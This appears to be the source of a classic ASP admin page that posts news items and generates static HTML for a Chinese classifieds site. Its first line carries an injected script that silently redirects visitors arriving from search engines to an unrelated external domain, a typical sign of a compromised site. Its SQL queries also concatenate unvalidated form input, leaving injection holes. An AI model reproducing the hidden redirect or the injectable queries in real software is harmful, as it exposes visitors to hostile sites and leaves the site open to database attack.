d:\wwwroot\wuchunhua\admin\addad_news.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dmoney,sql,rs
007: dim city_one,city_two,city_three,city_oneid,city_twoid,city_threeid
008: dtitle=HtmlEncode(trim(request.form("dtitle")))
009: dcolor=HtmlEncode(trim(request.form("dcolor")))
010: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
011: dcu=HtmlEncode(trim(request.form("dcu")))
012: city_oneid=HtmlEncode(trim(request.form("city_one")))
013: city_twoid=HtmlEncode(trim(request.form("city_two")))
014: city_threeid=HtmlEncode(trim(request.form("city_three")))
015: dlei=HtmlEncode(trim(request.form("dlei")))
016: dpic=HtmlEncode(trim(request.form("dpic")))
017: dtext=HtmlEncode2(request.form("dtext"))
018: dstop=dateadd("d",request.form("dstop"),date())
019: dtop=HtmlEncode(trim(request.form("dtop")))
020:
021: if dmoney<>"" then
022:   if isnumeric(dmoney)=false then
023:   response.write "<script>alert('信息费用请填写数字,立即返回!');history.back();</script>"
024:   response.end
025:   end if
026: end if
027:
028: if city_oneid<>"" then
029: set rs=server.createobject("adodb.recordset")
030: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
031: city_one=rs("city")
032: rs.close
033: if city_twoid<>"" then
034: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
035: city_two=rs("city")
036: rs.close
037: end if
038: if city_twoid<>"" and city_threeid<>"" then
039: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
040: city_three=rs("city")
041: rs.close
042: end if
043: set rs=nothing
044: end if
045:
046: set rs=server.createobject("adodb.recordset")
047: sql="select * from news_data"
048: rs.open sql,conn,1,3
049: if dtitle<>"" then
050: rs.addnew
051: if city_twoid="" then city_twoid=0
052: if city_threeid="" then city_threeid=0
053: rs("city_oneid")=city_oneid
054: rs("city_one")=city_one
055: rs("city_two")=city_two
056: rs("city_twoid")=city_twoid
057: rs("city_three")=city_three
058: rs("city_threeid")=city_threeid
059: rs("title")=dtitle
060: rs("color")=dcolor
061: rs("bgcolor1")=dbgcolor1
062: rs("cu")=dcu
063: rs("type")=dlei
064: rs("ispic")=dispic
065: if dpic="http://" then
066: dpic=""
067: end if
068: rs("pic")=dpic
069: rs("text")=dtext
070: rs("stop")=dstop
071: rs("top")=dtop
072: rs.update
073: id=rs("adid")
074: rs.close:set rs=nothing                                                                                  
075: conn.close:set conn=nothing
076: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
077: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
078: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
079: ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
080: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
081: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
082: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"news.asp?id="&id&""
083:
084: set http=server.createobject("MSXML2.XMLHTTP")
085: Http.open "get",ServerURL,false
086: Http.send()
087: AA=Http.responseText
088: set http=nothing
089: set objfso = Server.CreateObject("Scripting.FileSystemObject")
090: set htmout = objfso.CreateTextFile(server.mappath("../html/news/"&id&".htm"))
091: AA=replace(AA,"post.asp","../../post.asp")
092: AA=replace(AA,"adpic/","../../adpic/")
093: AA=replace(AA,"link.asp","../../link.asp")
094: AA=replace(AA,"link_img.asp","../../link_img.asp")
095: AA=replace(AA,"index.asp","../../index.asp")
096: AA=replace(AA,"114/../../index.asp","../../114/index.asp")
097: AA=replace(AA,"ad.asp","../../ad.asp")
098: AA=replace(AA,"TV.asp","../../tv.asp")
099: AA=replace(AA,"user.asp","../../user.asp")
100: AA=replace(AA,"gbook.asp","../../gbook.asp")
101: AA=replace(AA,"city.asp","../../city.asp")
102: AA=replace(AA,"city_more.asp","../../city_more.asp")
103: AA=replace(AA,"reg.asp","../../reg.asp")
104: AA=replace(AA,"login.asp","../../login.asp")
105: AA=replace(AA,"search.asp","../../search.asp")
106: AA=replace(AA,"114/join.asp","../../114/join.asp")
107: AA=replace(AA,"114/qy../../login.asp","../../114/qylogin.asp")
108: AA=replace(AA,"fabu.asp","../../fabu.asp")
109: AA=replace(AA,"type.asp","../../type.asp")
110: AA=replace(AA,"rq_message.asp","../../rq_message.asp")
111: AA=replace(AA,"top.asp","../../top.asp")
112: AA=replace(AA,"money.asp","../../money.asp")
113: AA=replace(AA,"pic.asp","../../pic.asp")
114: AA=replace(AA,"bbs/","../../bbs/")
115: AA=replace(AA,"html/news/","")
116: AA=replace(AA,"about.asp","../../about.asp")
117: htmout.write replace(AA,"images/","../../images/")
118: htmout.close
119: set htmout=nothing  
120: set objfso=nothing  
121: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
122: response.redirect "ok_news.asp"
123: end if%
>
124:
125: <html>
126: <HEAD>
127: <LINK rel="stylesheet" type="text/css" href="style.css">
128: <META http-equiv="Content-Type" content="text/html; charset=gb2312">
129: <META name="GENERATOR" content="Microsoft FrontPage 6.0">
130: <META name="ProgId" content="FrontPage.Editor.Document">
131: <TITLE>发布信息</TITLE>
132: <SCRIPT LANGUAGE="JavaScript">
133: <!--//
134: function checkadd()
135: {  
136:
137:                    //检查年月日是否是合法日期
138:
139:                    function isdate(intYear,intMonth,intDay){
140:
141:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
142:
143:                       if(intMonth>12||intMonth<1) return false;  
144:
145:                       if ( intDay<1||intDay>31)return false;  
146:
147:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
148:
149:                       if(intMonth==2){  
150:
151:                          if(intDay>29) return false;    
152:
153:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
154:
155:                         }  
156:
157:                       return true;  
158:
159:                    }  
160:     if (document.postart.dtitle.value.length<1)
161:    {
162:         alert("请填写信息标题!");
163:         document.postart.dtitle.focus();
164:         return false;
165:     }
166:    if (document.postart.city_one.value=="")
167:    {
168:         alert("请您选择城市!");
169:         document.postart.city_one.focus();
170:         return false;
171:     }
172:     if (document.postart.dlei.value=="选择信息类别")
173:    {
174:         alert("请选择信息类别!");
175:         document.postart.dlei.focus();
176:         return false;
177:     }
178:    if (document.postart.dtext.value.length<1)
179:    {
180:         alert("请填写信息内容!");
181:         document.postart.dtext.focus();
182:         return false;
183:     }
184:     if (document.postart.dtext.value.length>20000)
185:    {
186:         alert("请把信息内容的字数控制在200000以内!");
187:         document.postart.dtext.focus();
188:         return false;
189:     }
190:
191:    if (document.postart.dstop.value=="选择有效期")
192:    {
193:         alert("请选择有效期!");
194:         document.postart.dstop.focus();
195:         return false;
196:     }
197: }
198: //-->

199: </SCRIPT>
200: <SCRIPT LANGUAGE="JavaScript">      
201: <!-- Begin
202: maxLen = 200000;
203: function checkMaxInput(form) {
204: if (form.dtext.value.length > maxLen)
205: form.remLen.value = 0;
206: else form.remLen.value = maxLen - form.dtext.value.length;
207: }
208: //  End -->

209: </SCRIPT>
210:
211: <SCRIPT language="javascript" type="text/javascript">
212: <!--
213: function changeColor(o) {
214:     document.getElementById("colorBox").style.color = o.value;
215: }
216: //-->

217: </SCRIPT>
218: <SCRIPT language="javascript" type="text/javascript">
219: <!--
220: function changeColor1(o) {
221:     document.getElementById("colorBox1").style.background = o.value;
222: }
223: //-->

224: </SCRIPT>
225:
226:
227: </HEAD>
228:
229: <BODY background="images/background.gif">
230: <TABLE width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
231:   <TR>
232:     <TD height="20" bgcolor="#799AE1" align="center"><FONT color="#FFFFFF" style="font-size:14px">发
233:       布 新 闻</FONT></TD>
234:   </TR>
235:   <TR>
236:     <TD bgcolor="#FFFFFF"> <BR>
237:         <DIV align="center">
238:           <FORM action="" method="post" name="postart" onSubmit="return checkadd()">
239:             
240:           <TABLE width="98%" height="420" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
241:             <TR>
242:               <TD width="27%" height="26" align="right" bgcolor="#FFFFFF">新闻标题:</TD>
243:               <TD height="26" colspan="2" bgcolor="#FFFFFF">
244:                 <INPUT type="text" name="dtitle" size="40" maxlength="40">
245:                 <FONT color="#FF0000">*</FONT></TD>
246:             </TR>
247:             <TR>
248:               <TD width="27%" height="26" align="right" bgcolor="#FFFFFF">是否加粗:</TD>
249:               <TD height="26" colspan="2" bgcolor="#FFFFFF">
250:                 <INPUT type="radio" value="no" name="dcu">
251:                 否&nbsp;
252:                 <INPUT type="radio" value="yes" name="dcu" checked>
253:                 是</TD>
254:             </TR>
255:             <TR bgcolor="#FFFFFF">
256:               <TD align="right" bgcolor="#FFFFFF">标题颜色:</TD>
257:               <TD height="26" bgcolor="#FFFFFF">
258:                 <INPUT name="dcolor" type="text" id="dcolor" size="8" onChange="changeColor(this);" />
259:                 <INPUT type="button" name="Submit" value="选择颜色" onClick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
260:               </TD>
261:               <TD rowspan="2" align="center" bgcolor="#FFFFFF">
262:                 <TABLE width="180" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
263:                   <TR>
264:                     <TD align="center" <%IF RS("BGCOLOR1")<>"" THEN%>BGCOLOR="<%=rs("bgcolor1")%>"<%else%>bgColor="#EFF7FE"<%end if%>>
265:                       <DIV id="colorBox1" style="width: 180px;height: 24px">
266:                         <TABLE width="166" border="0" cellspacing="0" cellpadding="0" height="5">
267:                           <TR>
268:                             <TD></TD>
269:                           </TR>
270:                         </TABLE>
271:                         <DIV id="colorBox"><FONT style="font-size:14px"><B>标题和背景颜色演示</B></FONT></DIV>
272:                       </DIV>
273:                     </TD>
274:                   </TR>
275:                 </TABLE>
276:               </TD>
277:             </TR>
278:             <TR bgcolor="#FFFFFF">
279:               <TD align="right" bgcolor="#FFFFFF">标题背景:</TD>
280:               <TD height="26" bgcolor="#FFFFFF">
281:                 <INPUT name="dbgcolor1" type="text" id="dbgcolor1" size="8" onChange="changeColor1(this);" />
282:                 <INPUT type="button" name="Submit" value="选择颜色" onClick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
283:               </TD>
284:             </TR>
285:             <TR>
286:               <TD width="27%" height="26" align="right" bgcolor="#FFFFFF">选择城市:</TD>
287:               <TD height="26" colspan="2" bgcolor="#FFFFFF">
288:                      <%
289: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
290: %
>
291:       <SCRIPT language = "JavaScript">
292: var onecount;
293: onecount=0;
294: subcat = new Array();
295:         <%
296:       dim count:count = 0
297:         do while not rs.eof
298:         %
>
299: subcat[<%=count%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>");
300:         <%
301:         count = count + 1
302:         rs.movenext
303:         loop
304:         rs.close
305:       set rs=nothing
306:         %
>
307: onecount=<%=count%>;
308: </SCRIPT>
309: <%
310: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
311: %
>
312: <SCRIPT language = "JavaScript">
313: var onecount4;
314: onecount4=0;
315: subcat4 = new Array();
316:         <%
317:       dim count4:count4 = 0
318:         do while not rs.eof
319:         %
>
320: subcat4[<%=count4%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>","<%=rs("threeid")%>");
321:         <%
322:         count4 = count4 + 1
323:         rs.movenext
324:         loop
325:         rs.close
326:       set rs = nothing
327:         %
>
328: onecount4=<%=count4%>;
329:
330: function changelocation(locationid)
331:     {
332:     document.postart.city_two.length = 0;
333:    document.postart.city_two.options[0] = new Option('选择城市','');
334:    document.postart.city_three.length = 0;
335:    document.postart.city_three.options[0] = new Option('选择城市','');
336:     var locationid=locationid;
337:     var i;
338:     for (i=0;i < onecount; i++)
339:         {
340:             if (subcat[i][1] == locationid)
341:             {
342:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
343:             }        
344:         }
345:         
346:     }    
347:   
348:    function changelocation4(locationid,locationid1)
349:     {
350:     document.postart.city_three.length = 0;
351:     document.postart.city_three.options[0] = new Option('选择城市','');
352:     var locationid=locationid;
353:     var locationid1=locationid1;
354:     var i;
355:     for (i=0;i < onecount4; i++)
356:         {
357:             if (subcat4[i][2] == locationid)
358:             {
359:          if (subcat4[i][1] == locationid1)
360:          {
361:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
362:             }        
363:         }
364:        }
365:     }            
366:               </SCRIPT>
367:       <SELECT name="city_one" size="1" id="select2" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
368:         <OPTION value="" selected>选择城市</OPTION>
369:         <%set rs=conn.execute("select * from china_city where id>0 and twoid=0")
370: if rs.eof or rs.bof then
371: response.write "<option value=''>没有分类</option>"
372: else
373: do until rs.eof
374: response.write "<option value='"&rs("id")&"'>"&rs("city")&"</option>"
375:     rs.movenext
376:     loop
377: end if
378: rs.close
379: set rs = nothing
380: %
>
381:       </SELECT>
382:       <SELECT name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
383:     <OPTION value="" selected>选择城市</OPTION>
384:    </SELECT>
385:         <SELECT name="city_three" id="city_three">
386:         <OPTION value="" selected>选择城市</OPTION>
387:     </SELECT>
388:                 <FONT color="#FF0000">*</FONT> </TD>
389:             </TR>
390:             <TR>
391:               <TD width="27%" height="26" align="right" bgcolor="#FFFFFF">新闻类别:</TD>
392:               <TD height="26" colspan="2" bgcolor="#FFFFFF">
393:                 <SELECT name="dlei" size="1">
394:                   <OPTION selected value="选择信息类别">选择信息类别</OPTION>
395:                   <%set rs_lei = server.createobject("adodb.recordset")                                                                                                                                                                                                    
396:          sql = "select * from news_type"                                                                                                                                                                                                    
397:          rs_lei.open sql,conn,1,1                                                                                                                                                                                                    
398:          do while not rs_lei.eof%
>
399:                   <OPTION value="<%=rs_lei("name")%>"><%=rs_lei("name")%></OPTION>
400:                   <%rs_lei.movenext                                                                                                                                                                                                    
401:         loop                                                                                                    
402:         rs_lei.close                                                                                                                                                                                                    
403:         set rs_lei = nothing                          
404:         conn.close                          
405:         set conn=nothing%
>
406:                 </SELECT>
407:               </TD>
408:             </TR>
409:             <TR>
410:               <TD width="27%" height="26" align="right" bgcolor="#FFFFFF">图片路径:</TD>
411:               <TD height="26" colspan="2" bgcolor="#FFFFFF">
412:                 <INPUT type="text" name="dpic" size="30" value="">
413: <IFRAME style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></IFRAME></TD>
414:             </TR>
415:             <TR>
416:               <TD width="27%" align="right" valign="top" bgcolor="#FFFFFF">新闻内容:
417:               </TD>
418:               <TD colspan="2" bgcolor="#FFFFFF">
419:                 <TEXTAREA rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"></TEXTAREA>
420:                 <FONT color="#FF0000">*&nbsp;</FONT> <FONT color="#FF0000"><BR>
421:                 目前还可写
422:                 <INPUT readonly type=text name=remLen size=5 maxlength=4 value="20000" style="border: 1 solid #888888">
423:                 个字!</FONT></TD>
424:             </TR>
425:             <TR>
426:               <TD width="27%" height="26" align="right" bgcolor="#FFFFFF">有效期至:</TD>
427:               <TD height="26" colspan="2" bgcolor="#FFFFFF">
428:                 <SELECT size="1" name="dstop">
429:                   <OPTION value="选择有效期">选择有效期</OPTION>
430:                   <OPTION value="7">一星期</OPTION>
431:                   <OPTION value="15">半个月</OPTION>
432:                   <OPTION value="31">一个月</OPTION>
433:                   <OPTION value="61">两个月</OPTION>
434:                   <OPTION value="92">三个月</OPTION>
435:                   <OPTION value="183">半年</OPTION>
436:                   <OPTION value="365">一年</OPTION>
437:                   <OPTION value="3650" selected>长期</OPTION>
438:                 </SELECT>
439:               </TD>
440:             </TR>
441:             <TR>
442:               <TD width="27%" height="26" align="right" bgcolor="#FFFFFF">是否固顶:</TD>
443:               <TD height="26" colspan="2" bgcolor="#FFFFFF">
444:                 <INPUT type="radio" value="0" name="dtop" checked>
445:                 否&nbsp;
446:                 <INPUT type="radio" value="1" name="dtop">
447:                 是</TD>
448:             
449:             <TR>
450:               <TD width="27%" height="30" align="right" bgcolor="#FFFFFF"> </TD>
451:               <TD height="30" colspan="2" align="right" bgcolor="#FFFFFF">
452:                 <P align="left">
453:                   <INPUT type="submit" value="提交" name="submit">
454:                   &nbsp;
455:                   <INPUT type="reset" value="取消" name="reset">
456:                   &nbsp;
457:                   <INPUT type="button" value="返回" name="back" onClick="javascript:history.back()">
458:               </TD>
459:             </TR>
460:           </TABLE>
461:           </FORM>
462:         </DIV>
463:         <BR>
464:     </TD>
465:   </TR>
466: </TABLE>                                                                                    
467: </BODY>                                                                                                                      
468:                                                                                                                       
469: </HTML>                                                                                                                      
470:
471:
472: